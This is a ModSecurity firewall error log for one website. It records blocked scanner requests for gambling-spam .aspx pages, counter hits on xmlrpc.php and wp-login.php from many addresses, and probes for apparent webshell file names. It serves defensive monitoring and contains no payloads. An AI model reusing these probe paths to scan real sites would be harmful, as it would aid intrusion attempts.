[Sat Feb 07 07:17:29.263636 2026] [:error] [pid 50672:tid 50730] [client 217.182.194.16:32994] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20ca.aspx"] [unique_id "aYZ2iQ9o0jq1XS8Nv7OdGwAAAFY"]
[Sat Feb 07 07:18:05.437203 2026] [:error] [pid 50673:tid 50753] [client 217.182.194.16:33008] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "aYZ2rWVwLsaZ7aKO2ckYlgAAAJI"]
[Sat Feb 07 07:18:07.396954 2026] [:error] [pid 50672:tid 50715] [client 217.182.194.16:60142] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20super%20wallet.aspx"] [unique_id "aYZ2rw9o0jq1XS8Nv7OdPAAAAEc"]
[Sat Feb 07 07:18:09.275498 2026] [:error] [pid 50780:tid 50795] [client 217.182.194.16:40084] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20true%20wallet.aspx"] [unique_id "aYZ2setUmIu2JHM2CrvDkAAAAM0"]
[Sat Feb 07 07:18:11.300184 2026] [:error] [pid 43182:tid 43195] [client 217.182.194.16:40098] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "aYZ2s_EC82JnxmrnFYnjNAAAAUs"]
[Sat Feb 07 07:18:13.321932 2026] [:error] [pid 43182:tid 43192] [client 217.182.194.16:40106] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "aYZ2tfEC82JnxmrnFYnjOQAAAUg"]
[Sat Feb 07 07:18:15.355219 2026] [:error] [pid 50780:tid 50785] [client 217.182.194.16:40118] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet.aspx"] [unique_id "aYZ2t-tUmIu2JHM2CrvDmAAAAMM"]
[Sat Feb 07 07:18:17.368507 2026] [:error] [pid 43182:tid 43196] [client 217.182.194.16:40124] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot1234%20pg.aspx"] [unique_id "aYZ2ufEC82JnxmrnFYnjOwAAAUw"]
[Sat Feb 07 07:18:19.408319 2026] [:error] [pid 50672:tid 50711] [client 217.182.194.16:52372] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slotxo%20wallet.aspx"] [unique_id "aYZ2uw9o0jq1XS8Nv7OdRQAAAEM"]
[Sat Feb 07 07:18:21.327031 2026] [:error] [pid 50671:tid 50694] [client 217.182.194.16:52380] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spg%20slot.aspx"] [unique_id "aYZ2vbvqLohWBI_mqBP9JAAAAA4"]
[Sat Feb 07 07:18:23.385685 2026] [:error] [pid 55157:tid 55183] [client 217.182.194.16:52388] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spx%20slot.aspx"] [unique_id "aYZ2v336JdtTn2bTEowGIgAAARU"]
[Sat Feb 07 07:18:25.504390 2026] [:error] [pid 43182:tid 43188] [client 217.182.194.16:52390] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20pg%201688.aspx"] [unique_id "aYZ2wfEC82JnxmrnFYnjRwAAAUQ"]
[Sat Feb 07 07:18:27.433343 2026] [:error] [pid 50780:tid 50794] [client 217.182.194.16:52398] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20slot.aspx"] [unique_id "aYZ2w-tUmIu2JHM2CrvDnwAAAMw"]
[Sat Feb 07 07:18:29.309008 2026] [:error] [pid 50673:tid 50755] [client 217.182.194.16:59742] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "aYZ2xWVwLsaZ7aKO2ckYmwAAAJQ"]
[Sat Feb 07 07:18:31.390339 2026] [:error] [pid 50672:tid 50716] [client 217.182.194.16:59758] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20vip.aspx"] [unique_id "aYZ2xw9o0jq1XS8Nv7OdTAAAAEg"]
[Sat Feb 07 07:18:33.270179 2026] [:error] [pid 50673:tid 50748] [client 217.182.194.16:59772] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "aYZ2yWVwLsaZ7aKO2ckYoAAAAI0"]
[Sat Feb 07 07:18:35.420737 2026] [:error] [pid 50780:tid 50804] [client 217.182.194.16:59778] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet.aspx"] [unique_id "aYZ2y-tUmIu2JHM2CrvDqgAAANY"]
[Sat Feb 07 07:18:37.416642 2026] [:error] [pid 43182:tid 43198] [client 217.182.194.16:59780] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot168%20wallet.aspx"] [unique_id "aYZ2zfEC82JnxmrnFYnjUgAAAU4"]
[Sat Feb 07 07:18:39.504303 2026] [:error] [pid 55157:tid 55174] [client 217.182.194.16:55188] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20168.aspx"] [unique_id "aYZ2z336JdtTn2bTEowGLQAAAQw"]
[Sat Feb 07 07:18:41.438158 2026] [:error] [pid 50671:tid 50683] [client 217.182.194.16:55204] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20c4.aspx"] [unique_id "aYZ20bvqLohWBI_mqBP9KQAAAAM"]
[Sat Feb 07 07:18:43.324877 2026] [:error] [pid 55157:tid 55182] [client 217.182.194.16:55216] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20sa.aspx"] [unique_id "aYZ20336JdtTn2bTEowGMwAAARQ"]
[Sat Feb 07 07:18:45.279829 2026] [:error] [pid 43182:tid 43185] [client 217.182.194.16:55220] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20slot.aspx"] [unique_id "aYZ21fEC82JnxmrnFYnjZAAAAUE"]
[Sat Feb 07 07:18:47.292237 2026] [:error] [pid 50780:tid 50789] [client 217.182.194.16:55236] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20vip.aspx"] [unique_id "aYZ21-tUmIu2JHM2CrvDtQAAAMc"]
[Sat Feb 07 07:18:49.332958 2026] [:error] [pid 50780:tid 50791] [client 217.182.194.16:60138] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "aYZ22etUmIu2JHM2CrvDuAAAAMk"]
[Sat Feb 07 07:18:51.280965 2026] [:error] [pid 50780:tid 50803] [client 217.182.194.16:60144] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet.aspx"] [unique_id "aYZ22-tUmIu2JHM2CrvDuwAAANU"]
[Sat Feb 07 07:18:53.191336 2026] [:error] [pid 50673:tid 50748] [client 217.182.194.16:60146] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20100.aspx"] [unique_id "aYZ23WVwLsaZ7aKO2ckYrQAAAI0"]
[Sat Feb 07 07:18:55.242522 2026] [:error] [pid 55157:tid 55181] [client 217.182.194.16:60160] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%201668.aspx"] [unique_id "aYZ23336JdtTn2bTEowGPgAAARM"]
[Sat Feb 07 07:18:57.263783 2026] [:error] [pid 50671:tid 50701] [client 217.182.194.16:60176] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%207777.aspx"] [unique_id "aYZ24bvqLohWBI_mqBP9MQAAABU"]
[Sat Feb 07 07:18:59.325663 2026] [:error] [pid 50780:tid 50787] [client 217.182.194.16:59944] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "aYZ24-tUmIu2JHM2CrvDxwAAAMU"]
[Sat Feb 07 07:19:01.269429 2026] [:error] [pid 50673:tid 50748] [client 217.182.194.16:59958] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto.aspx"] [unique_id "aYZ25WVwLsaZ7aKO2ckYugAAAI0"]
[Sat Feb 07 07:44:06.620008 2026] [:error] [pid 50671:tid 50688] [client 45.130.18.194:57560] [client 45.130.18.194] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.130.18.194, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYZ8xrvqLohWBI_mqBMFYgAAAAg"]
[Sat Feb 07 08:09:44.552238 2026] [:error] [pid 50780:tid 50783] [client 185.204.218.57:58424] [client 185.204.218.57] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.204.218.57, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aYaCyOtUmIu2JHM2CrvT0QAAAME"]
[Sat Feb 07 08:09:47.826757 2026] [:error] [pid 50780:tid 50790] [client 185.204.218.57:58438] [client 185.204.218.57] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.204.218.57, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aYaCy-tUmIu2JHM2CrvT1gAAAMg"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 07 08:10:07.767490 2026] [:error] [pid 50671:tid 50699] [client 103.148.212.23:57570] [client 103.148.212.23] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.148.212.23, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYaC37vqLohWBI_mqBMMuwAAABM"]
[Sat Feb 07 08:22:41.295591 2026] [:error] [pid 55157:tid 55177] [client 216.194.175.55:50416] [client 216.194.175.55] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 216.194.175.55, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYaF0X36JdtTn2bTEoweBQAAAQ8"]
[Sat Feb 07 08:26:15.374243 2026] [:error] [pid 43182:tid 43204] [client 116.103.108.158:45796] [client 116.103.108.158] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 116.103.108.158, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYaGp_EC82JnxmrnFYkBKAAAAVQ"]
[Sat Feb 07 08:26:20.772027 2026] [:error] [pid 43182:tid 43196] [client 171.22.25.19:46296] [client 171.22.25.19] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 171.22.25.19, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYaGrPEC82JnxmrnFYkBLwAAAUw"]
[Sat Feb 07 08:26:23.352936 2026] [:error] [pid 50672:tid 50712] [client 152.69.216.173:62196] [client 152.69.216.173] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 152.69.216.173, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYaGrw9o0jq1XS8Nv7Ov4QAAAEQ"]
[Sat Feb 07 08:26:49.645218 2026] [:error] [pid 50780:tid 50791] [client 103.218.123.187:54964] [client 103.218.123.187] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.218.123.187, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYaGyetUmIu2JHM2CrvZFAAAAMk"]
[Sat Feb 07 08:27:00.457974 2026] [:error] [pid 50671:tid 50689] [client 212.154.75.77:60891] [client 212.154.75.77] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 212.154.75.77, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYaG1LvqLohWBI_mqBMRfwAAAAk"]
[Sat Feb 07 08:27:03.260933 2026] [:error] [pid 55157:tid 55166] [client 193.202.110.30:53690] [client 193.202.110.30] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 193.202.110.30, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYaG1336JdtTn2bTEowgAQAAAQQ"]
[Sat Feb 07 08:27:08.344951 2026] [:error] [pid 43182:tid 43205] [client 103.143.231.246:58758] [client 103.143.231.246] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.143.231.246, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYaG3PEC82JnxmrnFYkBewAAAVU"]
[Sat Feb 07 08:27:08.766444 2026] [:error] [pid 50780:tid 50803] [client 165.22.223.230:51954] [client 165.22.223.230] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 165.22.223.230, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYaG3OtUmIu2JHM2CrvZLAAAANU"]
[Sat Feb 07 08:48:59.483439 2026] [:error] [pid 55157:tid 55185] [client 162.241.61.250:45666] [client 162.241.61.250] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 162.241.61.250, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYaL-336JdtTn2bTEownvgAAARc"]
[Sat Feb 07 08:52:41.026210 2026] [:error] [pid 43182:tid 43197] [client 82.223.245.250:42562] [client 82.223.245.250] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 82.223.245.250, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYaM2fEC82JnxmrnFYkNMAAAAU0"]
[Sat Feb 07 08:59:28.672905 2026] [:error] [pid 50672:tid 50731] [client 45.130.18.194:57532] [client 45.130.18.194] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.130.18.194, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYaOcA9o0jq1XS8Nv7O45gAAAFc"]
[Sat Feb 07 09:24:05.278174 2026] [:error] [pid 50671:tid 50682] [client 157.20.159.163:38618] [client 157.20.159.163] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.20.159.163, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYaUNbvqLohWBI_mqBMfWQAAAAI"]
[Sat Feb 07 09:48:50.952804 2026] [:error] [pid 58058:tid 58067] [client 20.100.190.151:26611] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/2026.php"] [unique_id "aYaaArz-Qlvs65S4DP-DjQAAAYY"]
[Sat Feb 07 09:48:51.543157 2026] [:error] [pid 50671:tid 50695] [client 20.100.190.151:24908] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/2026.php"] [unique_id "aYaaA7vqLohWBI_mqBMlpgAAAA8"]
[Sat Feb 07 09:48:52.096097 2026] [:error] [pid 58058:tid 58084] [client 20.100.190.151:33639] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/2026.php"] [unique_id "aYaaBLz-Qlvs65S4DP-DjwAAAZc"]
[Sat Feb 07 09:48:52.665747 2026] [:error] [pid 50672:tid 50723] [client 20.100.190.151:33636] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/2026.php"] [unique_id "aYaaBA9o0jq1XS8Nv7PFSQAAAE8"]
[Sat Feb 07 09:48:53.594233 2026] [:error] [pid 50673:tid 50759] [client 20.100.190.151:31686] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/muzu.php"] [unique_id "aYaaBWVwLsaZ7aKO2clE9wAAAJg"]
[Sat Feb 07 09:48:54.584967 2026] [:error] [pid 50673:tid 50749] [client 20.100.190.151:28160] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/muzu.php"] [unique_id "aYaaBmVwLsaZ7aKO2clE-gAAAI4"]
[Sat Feb 07 09:48:55.311634 2026] [:error] [pid 50673:tid 50735] [client 20.100.190.151:65301] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/muzu.php"] [unique_id "aYaaB2VwLsaZ7aKO2clE_AAAAIA"]
[Sat Feb 07 09:48:56.102083 2026] [:error] [pid 50780:tid 50795] [client 20.100.190.151:27173] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/muzu.php"] [unique_id "aYaaCOtUmIu2JHM2CrvtMwAAAM0"]
[Sat Feb 07 09:48:56.846190 2026] [:error] [pid 55157:tid 55167] [client 20.100.190.151:25567] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/reze.php"] [unique_id "aYaaCH36JdtTn2bTEow78AAAAQU"]
